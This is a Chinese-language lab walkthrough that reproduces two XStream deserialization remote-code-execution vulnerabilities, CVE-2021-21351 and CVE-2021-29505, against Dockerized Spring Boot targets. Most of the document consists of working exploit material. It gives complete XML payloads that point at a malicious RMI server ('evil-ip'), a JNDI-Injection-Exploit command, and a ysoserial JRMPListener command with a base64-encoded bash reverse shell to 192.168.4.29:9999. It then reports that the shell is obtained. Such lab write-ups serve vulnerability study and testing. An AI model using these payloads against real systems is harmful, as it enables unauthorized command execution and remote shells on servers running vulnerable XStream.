一、 CVE-2021-21351_XStream 反序列化命令执行漏洞
前言
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
漏洞详情
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入,进而执行任意命令。
参考链接:
- https://x-stream.github.io/CVE-2021-21351.html
- https://paper.seebug.org/1543/
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://github.com/welk1n/JNDI-Injection-Exploit/
漏洞环境
靶场:192.168.4.10_ubuntu
攻击机:192.168.4.29_kali
执行如下命令启动一个Springboot + XStream 1.4.15的环境:
#docker-compose up -d
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:
漏洞复现
由于目标环境Java版本高于8u191,故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
1. 使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/)启动恶意JNDI服务器:
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142
```
2. 使用上图中基于SpringBoot利用链的RMI地址作为`<dataSource>`的值,构造POC如下:
```
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3184
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
```
特别注意,evil-ip是恶意RMI(非执行后地址,实际为.jar地址,本次在192.168.4.29_kali上执行,则rmi地址为192.168.4.29)服务器的地址。然后,进入目标容器内,可见``touch /tmp/success``已成功执行:
在实战中,如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
二、 CVE-2021-29505_XStream 反序列化命令执行漏洞
漏洞详情
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。
参考链接:
- [https://x-stream.github.io/CVE-2021-29505.html][1]
- https://paper.seebug.org/1543/
漏洞环境
执行如下命令启动一个Springboot + XStream 1.4.16的环境:
#docker-compose up -d
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:
漏洞复现
1.作为攻击者,我们在自己的服务器上使用[ysoserial](https://github.com/frohoff/ysoserial)的JRMPListener在4444端口启动一个恶意的RMI Registry:
```
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}"
```
这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。
2. 然后,我们向目标服务器发送CVE-2021-29505的XML POC:
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3169
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```
其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求,触发
3. 监听成功反弹shell